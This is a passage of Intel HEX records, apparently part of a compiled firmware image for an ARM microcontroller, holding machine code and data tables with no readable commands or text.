:108D80002C00CEE7039B01321B6801935B88F61829\n:108D90003B685B88ED18E3E7049B0193019BA342CA\n:108DA00007DBE043009BC01720404343180007B097\n:108DB000F0BD31002800009A00F0EDFB039B1B681A\n:108DC00002935B88F6183B685B88ED18019B0133C2\n:108DD000E3E710B5040000F0F0FA200010BD51DF09\n:108DE000704761DF7047F8B506000F0004001518E2\n:108DF000AC4200D1F8BDBB1B195D2000F0F758FC58\n:108E00000134F5E7F0B585B01C000AAB050003910D\n:108E100016001F78F0F7B2FC01235F400097230093\n:108E200032000399280000F049FA201A441EA0419C\n:108E300005B0F0BDF0B585B01C000AAB050003918C\n:108E400016001F78F0F79AFC01235F40009723007B\n:108E500032000399280000F0EFF9201A441EA041C7\n:108E600005B0F0BD836980681B681840431E9841B7\n:108E7000704710B5043000F0CBF910BD704710B545\n:108E80000400402100F025FB200010BD10B500F0CB\n:108E900045F810BD10B500F046F810BD7047182316\n:108EA0004A1C5A43594382189268431810B5DB682C\n:108EB000002A03D1002B00D0984710BD002BFCD016\n:108EC0001031411818009047F7E710B50400402111\n:108ED00000F0FFFA200010BD70B50D000400043052\n:108EE000F1F7E2F8E56370BD10B5043000F078FAF0\n:108EF00010BD70B50C00030011000430221E0AD012\n:108F0000182215004D435D19EC604C1C62439B1800\n:108F100000229A600132F1F713F970BD10B50430E8\n:108F200000F051FA10BD10B50C000430F1F74EF905\n:108F3000200010BD10B5040043684269991800F084\n:108F400077F8E36A002B04D1A369002B00D098477F\n:108F500010BDA0690028FBD021001C319847F7E71D\n:108F600010B5040000F06CF80023A361E36210BDAB\n:108F700070B50D00040000F063F86561206900F031\n:108F800030F94119200000F053F870BDC36A0100A8\n:108F900010B58069002B03D1002800D0804710BD98\n:108FA0000028FCD01C319847F9E710B50400F0F711\n:108FB0001BFC2000302100F08CFA200010BD03685B\n:108FC00010B50400002B05D1C06800F00AF9012398\n:108FD0006060236010BD10B504000068002804D054\n:108FE000E06800F0FEF86368C01A10BD10B5846830\n:108FF000FFF7F1FF201810BD10B50400C06800F0A5\n:10900000F0F800236060A36010BD002310B503607A\n:10901000436083600400F0F7B3FCE0602000FFF7DA\n:10902000EBFF200010BD10B503689B68984710BD8A\n:1090300010B50A000300011D006900F09AF810BD88\n:1090400010B5011D006900F0B0F810BD0FB401208B\n:1090500010B5F7F74DFF70B50D0004001600F0F7DE\n:1090600003FD6B1C07D00021200000F0D7F8310071\n:10907000200000F0CDF870BD70B5436804000D000D\n:10908000002A0AD0C26813602000012100F0C6F84F\n:109090002900200000F0BCF870BD0269F3E710B5AC\n:1090A0000322FFF7D8FF10BD10B5FFF7D4FF10BDA6\n:1090B00070B50D0004001600F0F7D6FC6B1C04D050\n:1090C000320000212000FFF7D7FF70BD10B500224D\n:1090D000FFF7EEFF10BD10B5022804D88023002052\n:1090E0009B014B6010BDF7F7FDFE092303600120D3\n:1090F0004042F7E710B50120F7F7FAFE70477047D6\n:1091000010B5FFF7FCFFFFF7F9FFECF719F910BDF9\n:1091100010B5002801D000F083F9FEE770B5040017\n:109120000D0003681B68984763681D6070BD036885\n:1091300070B5DB680400984763685A682368002AA2\n:1091400002D19B68984770BD5B6815689847636853\n:109150002D1A5A68002D07DC916859601B68002B96\n:10916000EAD050689847E7E7236810681B6998477A\n:10917000E9E770B50D0072B64B60002346680A60DF\n:109180007468002C09D1002B0DD1036875601B6930\n:1091900010009847AC6062B670BD2168511AF2D4D5\n:1091A0002300A468EDE79D60F4E710B572B642684D\n:1091B00053688B420DD19B6853600268002B03D12A\n:1091C0009368984762B610BD126918689047F9E72E\n:1091D0001300002BF6D09A688A42F9D18A689A6007\n:1091E000F0E710B503685B68984710BD70B50400E0\n:1091F000F1F792FA0500F1F78FFA401BA042FAD37B\n:1092000070BDFA2310B59B005843FFF7EFFF10BD68\n:1092100010B5007840B200F081F810BD002902D0EE\n:10922000012900D070470023A022C356D205C133C4\n:10923000FF339B009950F5E7F7B50192B1221E006C\n:1092400003684910D20099508021012289005A50A8\n:10925000190000240500FC31CC601A60771E019BC8\n:10926000A7420BDCD91901222800F0F721FD0028C4\n:1092700019D02800F0F7E2FD3E0010E01919002295\n:109280002800F0F715FD00280BD02800F0F708FEA5\n:1092900006002800F0F7D2FD002E00DB260030008B\n:1092A000FEBD0134DAE7089B002BF8D02B68FC33B5\n:1092B0009A68002AFCD000229A60F0E7F8B51700FF\n:1092C000B1221C000368D200491099508022002569\n:1092D00092009D50012206009A60A54204DB069B85\n:1092E000002B13D120000EE0795D3000F0F7CCFCAC\n:1092F000002809D03000F0F7A1FD3000F0F7D0FDD4\n:10930000002800DB2800F8BD0135E6E73000F0F763\n:10931000ADFD0028E6D001204042F4E7A023800004\n:10932000DB05C018E02310B50C24DB00C25889000F\n:10933000A243C250C2581143C15010BDF8B5050038\n:109340000E00002401273B00A3402A691A4203D0E3\n:1093500060B23100FFF7E2FF01341F2CF3D1F8BDFA\n:1093600030B5002902D001290FD030BD01220C00F8\n:1093700013008B4005691D4203D005688B00EB1874\n:109380001C6001311F29F3D1EFE700230A009A4046\n:109390000469144203D004689A00A21811600133D2\n:1093A0001F2BF3D1E1E70B00426810B51468016987\n:1093B000634019406140116010BD10B5407840B263\n:1093C000F0F796FD10BD03681A00FC32D168012940\n:1093D000FCD10021D160A322D2009858C0B27047BE\n:1093E0000368FC33D868013843425841704782B063\n:1093F0000190C046C046C046C046C046C046C046B2\n:10940000C046C046C046C046C046C046C046019B96\n:10941000013B0193002BECD102B0704770477047BD\n:1094200010B59AB0032102A8FFF750FE022108A848\n:10943000FFF74CFE01210EA8FFF748FE102114A8EB\n:10944000FFF744FE9624059B039A20001A60099AB0\n:109450000C9B1A600F9A129B1A60159A179B019227\n:109460001A60FFF7CEFE069B039A20001A60099A45\n:109470000B9B1A600F9A119B01921A60159A189B08\n:109480001A60FFF7BEFEDEE70023CB565A1C01D15F\n:10949000180002E0834201D1486870470C31F3E7BD\n:1094A00010B5041E00D101342000EFF713FE002890\n:1094B00007D1F1F7CDF9002801D100F012F880476B\n:1094C000F2E710BD0B0010B501001800F7F7FCFC27\n:1094D00010BD10B500F001F810BD10B5EFF72EFE6D\n:1094E00010BD10B50620F7F79FFE0120FFF710FE14\n:1094F00070B568254A1E55430E0029007431FFF7E8\n:109500003EFB041E08D000212A00016046600C309A\n:10951000A060683200F05BF8200070BDF7B5040071\n:109520000700002601914834002C01D13000FEBD17\n:109530006368A5680093009B013B009301D52468F4\n:10954000F2E7AB89012B08D90E22AB5E013304D0C0\n:1095500029003800019B984706436835EBE77047C0\n:1095600070477047C9B28218904201D100207047FD\n:1095700003788B42FBD00130F6E730B50024013987\n:10958000A24201D1002005E0035D01340D5DAB4234\n:10959000F6D0581B30BD002310B59A4200D110BD43\n:1095A000CC5CC4540133F8E710B5884202D98B185B\n:1095B000984203D3002307E08B5C8354013AFBD22B\n:1095C00010BDCC5CC45401339A42FAD1F8E70300D1\n:1095D0001218934200D1704719700133F9E770B542\n:1095E00004000D001F2904D9162303600120404206\n:1095F00070BD436C002B04D08A009B181A68002AA7\n:1096000008D1200000F015F82A0001002000F7F72B\n:1096100015FEEDE70020012AEAD0511C03D11623E4\n:1096200001302360E4E7002428001C6090472000FC\n:10963000DEE710B5F8F72AFB10BD10B50E23C95EA2\n:10964000F7F734FF10BDC9B20378002B04D08B426A\n:1096500000D170470130F7E74B4259414942084079\n:10966000F7E702780B78002A03D0013001319A42E3\n:10967000F7D0D01A70470023C25C0133002AFBD117\n:10968000581E704730B5131E0BD00024013A035DFD\n:109690000D5DAB4204D1944202D00134002BF6D1CF\n:1096A0005B1B180030BD936810B5013B9360002B25\n:1096B00004DA9469A34207DB0A2905D01368581C11\n:1096C00010601970080010BDF7F710FE0100F9E7EF\n:1096D000F8B506000F001400D518AC4201D10020E7\n:1096E00007E021783A003000FFF7DDFF0134431C2A\n:1096F000F3D1F8BDF7B5150001938A680B690090A6\n:109700000C00934200DA130022002B6043321278DF\n:10971000002A01D001332B6023689B0602D52B68F9\n:1097200002332B60062723681F4027D023004333D2\n:109730001B785A1E93412268920630D42200019968\n:1097400043320098089EB047431C25D0062320686A\n:109750002A68E16803400025042B03D18D1AEB43EE\n:10976000DB171D40A3682269934201DD9B1AED18A7\n:109770000027BD4220D1002010E00137E3682A68AD\n:109780009B1ABB42D2DD22000123193201990098B5\n:10979000089EB047431CF0D101204042FEBD30205E\n:1097A000E1184331087021005A1C45310978A2188C\n:1097B000433202331170C1E7220001231A320199AA\n:1097C0000098089EB047431CE6D00137D1E700005F\n:1097D000F8B5C046F8BC08BC9E467047F8B5C04610\n:1097E000F8BC08BC9E4670474FBB610567ACDD3FC7\n:1097F000182D4454FB21E93F9BF681D20B73EF3FB8\n:10980000182D4454FB21F93FE2652F227F2B7A3C2F\n:10981000075C143326A6813CBDCBF07A8807703CE8\n:10982000075C143326A6913CD0DF0200DD01000066\n:10983000D0DF0200CD0100000CE00200B901000001\n:10984000C0E002000000010081010000C0E0020051\n:10985000000001002D020000C0E002000000010035\n:10986000ED010000D0DF0200AD1C02006CB202006E\n:109870007498020098CC02004F000000090000001C\n:1098800084980200860F0000AE0C0000F610000065\n:10989000ECC30200A61400004C980200261400003D\n:1098A000409802000615000058980200E6150000D6\n:1098B000649802006E1200002898020076120000E0\n:1098C000309802004E130000389802000CE00200AD\n:1098D000790200000CE00200590200000CE00200D6\n:1098E000B102000048E002009102000048E00200DE\n:1098F000BB1C0200D0DF0200C9020000D0DF020062\n:10990000E1020000D0DF020049030000D0DF0200C6\n:10991000F9020000D0DF020011030000D0DF0200D6\n:1099200029030000D0DF0200ED1C0200D0DF02009E\n:10993000D71C0200C0E00200000001005903000033\n:109940006CB202004899020098CC02004700000067\n:109950000800000058990200860F0000361200002F\n:10996000EE10000004990200661100000C9902003C\n:109970008611000014990200D61200001C99020002\n:109980001E1400002C9902001614000024990200F5\n:1099900066160000349902006CB20200A099020021\n:1099A00098CC02004700000008000000B0990200B7\n:1099B000860F000016170000CE000000D4980200A9\n:1099C000B6150000CC980200BE150000DC9802001D\n:1099D00086160000F49802008E160000FC98020023\n:1099E00076160000E49802007E160000EC98020053\n:1099F00098CC02003700000006000000009A020028\n:109A0000860F00000E170000A6100000389A020012\n:109A1000B61400004C9A0200BE140000409A0200E6\n:109A2000EE160000589A0200F6160000589A02003E\n:109A30006CB20200F09902000CE002004F1D02001F\n:109A4000C0E002000600FFFFA1050000C0E0020028\n:109A50000200FFFF59050000C0E0020004000300FF\n:109A6000950300006CB20200D02E0020B8B80200AE\n:109A70004502000000000000000000001D1600006C\n:109A800000000000000000000000000000000000D6\n:109A900000000000000000000000000000000000C6\n:109AA0000000000000000000C0E00200020003000F\n:109AB000591E0200C0E0020002000300631E020003\n:109AC0000100E2040000000000FC000000000000B3\n:109AD0000000000000000000000000000000000086\n:109AE0000000000000000000000000000000000076\n:109AF000B8B8020091020000000000006D1E0200D4\n:109B00000000000000000000000000000000000055\n:109B10000000000000000000000000000000000045\n:109B2000000000000000000000000000B8B80200C3\n:109B3000CC00000000000000000000000000000059\n:109B40000000000000000000000000000000000015\n:109B50000000000000000000000000000000000005\n:109B600000000000689B020098CC02004700000043\n:109B700008000000789B020076060000E89B0200C7\n:109B80007E060000F09B020086060000B89B0200E3\n:109B90008E060000C09B0200CE050000D09B020094\n:109BA000D6050000D89B0200DE050000E09B020005\n:109BB00096060000C89B02000CE00200311A00006B\n:109BC0000CE00200C91900000CE002001D1A0000A0\n:109BD0000CE00200E11900000CE00200F5190000A1\n:109BE0000CE00200091A00000CE00200AD1A0000AF\n:109BF0000CE00200A51900002C9B0200B8B802007E\n:109C00000100000000000000000000000000000053\n:109C10000000000000000000000000000000000044\n:109C20000000000000000000000000000000000034\n:109C30000000000000000000D0DF02007D1C0000DA\n:109C400098CC02001700000002000000509C0200A7\n:109C5000860F0000FE0000004E0F0000389C02003E\n:109C60006CB20200409C0200B8B80200E70200009B\n:109C7000000000005920000000000000000000006B\n:109C8000000000000000000000000000373D02005E\n:109C9000DF1E0200000000000000000000000000C5\n:109CA00000000000B8B80200D60200004B1F0200FE\n:109CB0000000000000000000992A0100352B01007F\n:109CC000211F0200312C0100212A010000000000A8\n:109CD0000000000000000000000000000000000084\n:109CE00098CC02002F00000005000000F09C02004C\n:109CF000860F00000E0D0000160D00004C9D0200A6\n:109D0000260D0000589D02001E0D0000409D02001F\n:109D10004E0D0000A89D0200E1000202400000007C\n:109D2000A701020248000000A60102028000000014\n:109D3000A501020280000000A8010102000000004D\n:109D4000C0E002000300FFFF5D1F0200C0E0020050\n:109D50000300FFFF891F0200C0E002000300FFFFB5\n:109D6000731F0200B8B80200670200000000000084\n:109D700000000000000000000000000000000000E3\n:109D80000000000000000000373D0200112200002A\n:109D900000000000000000000000000000000000C3\n:109DA0006CB20200E09C02000CE002005D220000A8\n:109DB0006CB20200B89D020098CC02001F000000A7\n:109DC00003000000C89D0200860F0000C6160000B8\n:109DD000761400003CBC02007E0E0000D4CC0200D1\n:109DE000D0DF02008524000098CC02001F00000094\n:109DF00003000000F89D0200860F0000EE00000046\n:109E00004E0F0000E09D0200F6000000109E0200D0\n:109E1000D0DF0200652400006CB20200E89D020061\n:109E200064CA02000951815F64CA020001047D44D2\n:109E300064CA020001C4554264CA0200011C5311E5\n:109E400064CA02000967140464CA0200018454470A\n:109E500064CA0200094150CC64CA02000110957125\n:109E600064CA020001447C4164CA02000160030725\n:109E700064CA020009FB93BF64CA020001AAAAAA2D\n:109E800064CA02000160100064CA020001421000AE\n:109E900064CA02000184100064CA020001081100B3\n:109EA00064CA02000100130064CA020001007000CD\n:109EB00064CA02000100100C64CA02000100108490\n:109EC00064CA02000100104264CA020001001021AD\n:109ED00064CA02000100900164CA020001001C0073\n:109EE00064CA02000940015564CA020001317E477C\n:109EF00064CA02000144454564CA02000180280288\n:109F000064CA020001E6780764CA0200017F03E523\n:109F100064CA020009BFFE5F64CA0200014308A7C9\n:109F200064CA0200014081E864CA020001EA7F4776\n:109F300064CA02000140390264CA020001C47DA75C\n:109F400064CA0200010A202264CA020001849073DC\n:109F500064CA02000184D17364CA0200095ECABDEA\n:109F600064CA02000951111564CA0200097E9DE706\n:109F700064CA020001B57E4264CA020001A5BCF5B4\n:109F800064CA02000118FFAF64CA02000940011749\n:109F900064CA020009117CCA64CA020001AE7EE7ED\n:109FA00064CA0200010080E864CA020001632B0752\n:109FB00064CA0200093FC6F864CA020001C029074A\n:109FC00064CA020009E4131564CA0200010A1045BC\n:109FD00064CA02000184104764CA020001C46D47CC\n:109FE00064CA020001C07D0564CA0200096194F4DC\n:109FF00064CA02000180A80F64CA020001FB3BE7AB\n:10A0000064CA020001EE936264CA020009C411F737\n:10A0100064CA02000100A22292010000990100001E\n:10A020006CB2020028A0020098CC02004700000099\n:10A030000800000038A00200860F0000561600003D\n:10A04000CE0C0000DCA002002E170000B8A0020019\n:10A050008E12000084A00200CE140000CCA00200EA\n:10A0600096100000A6130000BE11000078A00200A8\n:10A07000F6140000ACA00200C0E0020000000100E5\n:10A08000A5240000A49C020002000000AE0C000009\n:10A0900098A0020018A002006CD10200030000008A\n:10A0A000030000001300000005000000C0E00200F3\n:10A0B00002000200C52400006CD102000300000071\n:10A0C00007000000090000000100000040BB020082\n:10A0D00000000000080000004070030040BB0200C8\n:10A0E0000000000005000000370B0300C0E0020084\n:10A0F0000200FFFF2D25000098CC02000F00000099\n:10A100000100000008A102004E0F0000ECA00200B8\n:10A1100098A20200000000000000000064D10200CC\n:10A120003CA40200000000000000000064D1020016\n:10A13000B8B80200BC01000041250000DD24000089\n:10A14000000000000000000000000000CD2500001D\n:10A1500000000000000000000000000000000000FF\n:10A16000000000005CA2020000000000B8B802007D\n:10A17000BD01000041250000DD24000000000000BA\n:10A180000000000000000000CD25000000000000DD\n:10A1900000000000000000000000000000000000BF\n:10A1A0005CA2020000000000B8B80200BE0100007E\n:10A1B00041250000DD240000000000000000000038\n:10A1C00000000000CD25000000000000000000009D\n:10A1D0000000000000000000000000005CA202007F\n:10A1E00000000000B8B80200BF01000041250000D7\n:10A1F000DD2400000000000000000000000000005E\n:10A20000CD2500000000000000000000000000005C\n:10A21000000000000000000000000000F8A00200A4\n:10A22000B8B80200C001000041250000DD24000094\n:10A23000000000000000000000000000CD2500002C\n:10A24000000000000000000000000000000000000E\n:10A25000000000005CA2020000000000B8B802008C\n:10A26000C201000041250000DD24000000000000C4\n:10A270000000000000000000CD25000000000000EC\n:10A2800000000000000000000000000000000000CE\n:10A29000E4A1020000000000B8B80200C301000001\n:10A2A00041250000DD240000000000000000000047\n:10A2B00000000000CD2500000000000000000000AC\n:10A2C000000000000000000000000000E4A1020007\n:10A2D00000000000B8B80200C401000041250000E1\n:10A2E000DD2400000000000000000000000000006D\n:10A2F000CD2500000000000000000000000000006C\n:10A3000000000000000000005CA20200000000004D\n:10A31000B8B80200C501000041250000DD2400009E\n:10A32000000000000000000000000000CD2500003B\n:10A33000000000000000000000000000000000001D\n:10A3400000000000E0A5020000000000B8B8020014\n:10A35000C601000041250000DD24000000000000CF\n:10A360000000000000000000CD25000000000000FB\n:10A3700000000000000000000000000000000000DD\n:10A3800000A4020000000000B8B80200C7010000ED\n:10A3900041250000DD240000000000000000000056\n:10A3A00000000000CD2500000000000000000000BB\n:10A3B00000000000000000000000000000A40200F7\n:10A3C00000000000B8B80200C801000041250000EC\n:10A3D000DD2400000000000000000000000000007C\n:10A3E000CD2500000000000000000000000000007B\n:10A3F0000000000000000000E4A1020000000000D6\n:10A40000B8B80200C901000041250000DD240000A9\n:10A41000000000000000000000000000CD2500004A\n:10A42000000000000000000000000000000000002C\n:10A43000000000005CA2020000000000B8B80200AA\n:10A44000CA01000041250000DD24000000000000DA\n:10A450000000000000000000CD250000000000000A\n:10A4600000000000000000000000000000000000EC\n:10A470005CA2020000000000B8B80200CB0100009E\n:10A4800041250000DD240000000000000000000065\n:10A4900000000000CD2500000000000000000000CA\n:10A4A0000000000000000000000000005CA20200AC\n:10A4B00000000000B8B80200CD01000041250000F6\n:10A4C000DD2400000000000000000000000000008B\n:10A4D000CD2500000000000000000000000000008A\n:10A4E000000000000000000068A50200000000005D\n:10A4F000B8B80200CE01000041250000DD240000B4\n:10A50000000000000000000000000000CD25000059\n:10A51000000000000000000000000000000000003B\n:10A52000000000005CA2020000000000B8B80200B9\n:10A53000D001000041250000DD24000000000000E3\n:10A540000000000000000000CD2500000000000019\n:10A5500000000000000000000000000000000000FB\n:10A5600030A1020000000000B8B80200D1010000D4\n:10A5700041250000DD240000000000000000000074\n:10A5800000000000CD2500000000000000000000D9\n:10A590000000000000000000000000005CA20200BB\n:10A5A00000000000B8B80200D20100004125000000\n:10A5B000DD2400000000000000000000000000009A\n:10A5C000CD25000000000000000000000000000099\n:10A5D00000000000000000005CA20200000000007B\n:10A5E000B8B80200D301000041250000DD240000BE\n:10A5F000000000000000000000000000CD25000069\n:10A60000000000000000000000000000000000004A\n:10A61000000000005CA2020000000000B8B80200C8\n:10A62000D401000041250000DD24000000000000EE\n:10A630000000000000000000CD2500000000000028\n:10A64000000000000000000000000000000000000A\n:10A65000E4A1020000000000B8B80200D50100002B\n:10A6600041250000DD240000000000000000000083\n:10A6700000000000CD2500000000000000000000E8\n:10A680000000000000000000000000005CA20200CA\n:10A6900000000000B8B80200D6010000412500000B\n:10A6A000DD240000000000000000000000000000A9\n:10A6B000CD250000000000000000000000000000A8\n:10A6C0000000000000000000D0A602000000000012\n:10A6D000B8B80200D701000041250000DD240000C9\n:10A6E000000000000000000000000000CD25000078\n:10A6F000000000000000000000000000000000005A\n:10A70000000000005CA2020000000000B8B80200D7\n:10A71000D801000041250000DD24000000000000F9\n:10A720000000000000000000CD2500000000000037\n:10A730000000000000000000000000000000000019\n:10A7400030A1020000000000D0DF02005D290000FF\n:10A75000D0DF0200DD2C0000D0DF02004D29000018\n:10A76000D0DF020061360000D0DF0200892900003E\n:10A77000D0DF0200AD2B0000D0DF0200053B00005F\n:10A78000D0DF0200BD3900000CE0020059380000A3\n:10A79000D0DF0200D1270000D0DF020067200200D6\n:10A7A000C0E002000100FFFFC52F000098CC0200AE\n:10A7B000AF00000015000000D4A70200D0DF0200A7\n:10A7C000512F0000D0DF0200A92A00000CE0020097\n:10A7D00095380000860F0000560D00004E0F000057\n:10A7E00090A70200C600000090A702005E0D0000C6\n:10A7F000A0A702006E05000050A702007605000029\n:10A8000070A70200660D0000CCA702006E0D0000CC\n:10A810007CA80200760D000088A702007E0D0000D3\n:10A82000BCA702004E170000C4A702008E1700004C\n:10A8300098A702005E17000068A7020066170000D4\n:10A8400058A702006E17000048A702007617000004\n:10A8500060A702008617000080A70200E611000032\n:10A8600078A70200CE0D000005000000D60D000004\n:10A8700001000000DE0D000003000000D0DF020038\n:10A880006F2002006CB20200ACA70200B8B8020050\n:10A890001A0200000000000000000000CF200200AB\n:10A8A00000000000000000000000000000000000A8\n:10A8B0000000000000000000000000000000000098\n:10A8C0000000000000000000B8B8020044020000D0\n:10A8D0000D4000005F22020000000000F541000072\n:10A8E000D54300000000000000000000853F00008C\n:10A8F0000000000000000000000000000000000058\n:10A90000A0A90200B8B80200B20200000D40000089\n:10A910005F22020000000000F5410000D543000066\n:10A920000000000000000000853F00000000000063\n:10A93000000000000000000000000000A0A90200CC\n:10A9400048E00200E54000000CE002007941000010\n:10A950000CE002007B210200C0E002000200FFFFC9\n:10A960000F220200C0E002000200FFFF9141000040\n:10A9700048E002000141000048E0020049220200D4\n:10A9800048E002003F22020048E00200A13F000030\n:10A9900048E00200C122020048E00200B1220200A9\n:10A9A00098CC02009700000012000000B0A902003D\n:10A9B000F60F000040A902002E0C000048A902007A\n:10A9C0003E05000050A902007611000070A90200A7\n:10A9D0004E11000058A902005611000064A902009F\n:10A9E000AE12000078A90200B612000080A9020091\n:10A9F000CE12000088A902001613000090A90200E0\n:10AA00001E13000098A90200D614000040AA0200FC\n:10AA10002E15000048AA02004616000050AA0200A7\n:10AA20004E16000058AA0200DE16000060AA0200BE\n:10AA3000FE16000068AA0200F60E0000CCC3020059\n:10AA40000CE00200D141000048E00200A1410000FA\n:10AA500048E002009D21020048E00200454100005C\n:10AA600048E0020089210200C0E002000200FFFF6E\n:10AA70001D410000D0DF0200D545000098CC020047\n:10AA80001F000000030000008CAA0200860F0000D7\n:10AA9000060100004E0F000074AA02000E01000023\n:10AAA000C0AA020000000000398EE33D398E633EEB\n:10AAB000398EE33EABAA2A3F721C473F0000803F1D\n:10AAC000D0DF0200D54500006CB202007CAA020073\n:10AAD000B8B80200A902000000000000272302000D\n:10AAE0000000000000000000000000000000000066\n:10AAF00000000000373D02000923020000000000B2\n:10AB0000000000000000000000000000B8B80200D3\n:10AB10003D02000045460000A54600000000000080\n:10AB2000E545000045240200000000000000000090\n:10AB30000000000000000000000000000000000015\n:10AB40000000000000000000B8B802007C01000016\n:10AB500000000000000000000000000000000000F5\n:10AB600000000000000000000000000000000000E5\n:10AB700000000000000000000000000000000000D5\n:10AB800084AB020098CC0200270000000400000003\n:10AB900094AB0200760B0000E4AB0200B6060000A6\n:10ABA000FCAB0200AE060000F0AB0200160C000089\n:10ABB00004AC02006F01020040420F00700102006D\n:10ABC000080000007E010200000000007F01030277\n:10ABD00024DD02008001030224DD02008101030262\n:10ABE00024DD0200C0E002000300FFFFC1480000B6\n:10ABF000C0E00200040003007549000048E00200C4\n:10AC0000D949000084E002001D4A00000CE0020067\n:10AC1000194C000098CC02001F0000000300000047\n:10AC200024AC0200CE1000000CAC0200760D000037\n:10AC30003CAC02006E16000044AC020048E002008A\n:10AC400057240200C0E0020004000400E54B0000AD\n:10AC5000B8B8020047020000BD4A00000000000032\n:10AC6000000000005B3D020000000000000000004A\n:10AC700000000000373D0200094C00000000000009\n:10AC8000000000000000000014AC0200B8B8020090\n:10AC90004702000000000000000000006D4A0000B4\n:10ACA0005B3D02000000000000000000000000000A\n:10ACB0000000000000000000000000000000000094\n:10ACC000000000000000000048E00200894E000083\n:10ACD00048E002001D4E0000B8B802006702000004\n:10ACE0000000000000000000000000000000000064\n:10ACF000000000000000000000000000373D0200DE\n:10AD00006B250200000000000000000000000000B1\n:10AD10000000000098CC02001700000002000000B4\n:10AD200024AD020016100000C8AC0200CE110000D5\n:10AD3000D0AC0200B8B802000402000025510000A7\n:10AD40008D25020000000000E14D0000394F000099\n:10AD500000000000B1510000094E0000000000009A\n:10AD600049250200000000000000000014AD0200B0\n:10AD7000B8B8020010020000255100005552000032\n:10AD800000000000E14D0000394F0000000000000D\n:10AD9000B1510000094E00000000000049250200EA\n:10ADA000000000000000000014AD0200BCAD020075\n:10ADB00000000000BCAD020001000000B8B80200B5\n:10ADC0000C020000B9520000D55200000000000043\n:10ADD000CF250200BF250200000000000000000097\n:10ADE0000000000000000000000000000000000063\n:10ADF0000000000000000000B8B80200B100000030\n:10AE00000000000000000000000000000000000042\n:10AE10000000000000000000000000000000000032\n:10AE20000000000000000000000000000000000022\n:10AE300034AE020098CC02001F00000003000000A6\n:10AE400044AE0200A60500007CAE0200AE05000084\n:10AE500084AE0200B605000074AE0200F8AD020038\n:10AE600070CF020000000000F8AD020010CF020019\n:10AE7000010000000CE00200CD5300000CE00200D5\n:10AE8000095300000CE002002D53000022010300D2\n:10AE900026010300720003004C0103003A02030084\n:10AEA000E0000300FA0203008C000300FA01030033\n:10AEB000000003006E00030022020300F8030300F9\n:10AEC00010020300B80103009A01030064010300AB\n:10AED000DE01030092FF02006A010300B8030300D1\n:10AEE0003C0103002A030300D0030300A602030071\n:10AEF000CA020300C4010300CE010300F4010300F1\n:10AF00004EFF0200EA010300560003006002030046\n:10AF1000DA000300E003030048FF020028020300F8\n:10AF200080FF0200AA0203001401030004020300D0\n:10AF3000D4FF0200DEFF0200C8FF0200C0FF0200D3\n:10AF40001C03030014030300240303009002030006\n:10AF50007202030078020300D60203009E00030081\n:10AF600004000300F203030000000000400203009D\n:10AF70002A010300D0000300D60003007E00030076\n:10AF800088000300780003005E0103005E030300F5\n:10AF90007803030080030300880303006A030300AF\n:10AFA0006403030072030300060303008E0303001F\n:10AFB000A0030300A8030300AE03030094030300EF\n:10AFC0009A030300B4030300660203003402030083\n:10AFD0004E020300E6000300FC000300F80003003B\n:10AFE000F2000300EC00030000030300E6FF020090\n:10AFF00030010300160203001C020300BE0103001F\n:10B00000A4010300AA010300B001030092010300A0\n:10B01000F0010300FE01030086010300B6000300F7\n:10B020008CFF02008C010300BC000300C20003007F\n:10B03000D80103009AFF02005C00030082010300B4\n:10B0400078010300340303004A03030040030300B4\n:10B050003A0303005203030056030300C800030031\n:10B06000DA030300C4030300CA03030096020300CB\n:10B070009C020300BA020300C0020300D0020300D6\n:10B08000E401030032000300500003004600030007\n:10B090004C0003002E02030086FF0200B0020300F2\n:10B0A0000E0103001A010300D0FF0200DAFF0200C4\n:10B0B0000A020300A0FF0200BAFF0200DC02030044\n:10B0C000E2020300E8020300EE020300F4020300C0\n:10B0D0000C0303006C0203007E02030084020300E1\n:10B0E0008A02030048020300020103000801030072\n:10B0F0009200030098000300B0000300A4000300C6\n:10B10000AA0003001000030054FF02005AFF0200CF\n:10B1100068FF020062FF02006EFF020074FF02007F\n:10B120007AFF02002C000300180003002400030033\n:10B13000E6030300EC0303006CD1020008000000EA\n:10B14000309E0200389E0200289E0200509E02009F\n:10B15000489E0200589E0200609E0200409E02002F\n:10B160006CD102000C000000909E0200989E02002C\n:10B17000A09E0200A89E0200B09E0200B89E02009F\n:10B18000C09E0200C89E0200D09E0200D89E02000F\n:10B19000809E0200889E0200CF000000190000007F\n:10B1A000A4B10200760F0000649A0200761000003D\n:10B1B000A4F00200AE0C00006C9802002610000003\n:10B1C000DCD10200C6160000B09D02000E17000080\n:10B1D000309A0200E61300005CB40200561600002C\n:10B1E00020A002003612000040990200BE000000BC\n:10B1F00050EE0200F606000010BE0200EE00000055\n:10B20000189E0200FE000000609C02000601000083\n:10B21000C8AA02001E0C000068D20200360C000012\n:10B22000ACC302009E0C0000D4EE0200560D0000DC\n:10B2300084A802006E0C0000D8C202000E0D0000AF\n:10B24000A09D02001617000098990200F60C00005D\n:10B2500088C60200AE000000B09D0200B6000000EB\n:10B26000309A02009616000098990200B8B80200C1\n:10B27000870200009D5A000000000000000000004E\n:10B280000000000000000000D15A00000000000093\n:10B2900000000000000000000000000000000000AE\n:10B2A0000000000000000000B8B802006C010000BF\n:10B2B000000000000000000000000000000000008E\n:10B2C000000000000000000000000000000000007E\n:10B2D0000000000000000000E4B2020000000000D6\n:10B2E000F4B2020025600000132B020000000000F1\n:10B2F0000000000098CC0200470000000800000099\n:10B3000004B30200760B000084B30200B60B000009\n:10B310007CB30200AE06000044C50200C60B00006C\n:10B320005CC50200CE0B000050C50200B60600004E\n:10B3300068C50200D60B000003000000DE0B000011\n:10B34000050000006F01020080250000700102006E\n:10B35000080000007101030024DD020072010200F8\n:10B36000010000007301030224DD020074010302E6\n:10B3700024DD02007501030224DD02000CE002005E\n:10B3800009600000C0E002000300FFFF295F000029\n:10B390000CE00200D17100000CE00200B17100006D\n:10B3A00048E00200657100000CE0020091710000AD\n:10B3B0000CE00200F72C020048E0020039710000A6\n:10B3C0000CE00200317200000CE00200796F000016\n:10B3D0000CE00200517200000CE002001970000045\n:10B3E0000CE00200E72C020048E002000D710000B2\n:10B3F0000CE00200D57000000CE00200E16F0000DC\n:10B400000CE00200357000000CE00200C16F00008B\n:10B4100048E00200A5700000C0E002000200020047\n:10B42000D57200000CE002006D70000048E00200E0\n:10B43000717200000CE002009D6F00000CE0020041\n:10B44000117200000CE002009D7200000CE002008E\n:10B45000F17100000CE00200D72C02006CB2020077\n:10B4600064B4020098CC0200E70000001C00000059\n:10B4700074B40200860F0000E6130000F609000015\n:10B4800056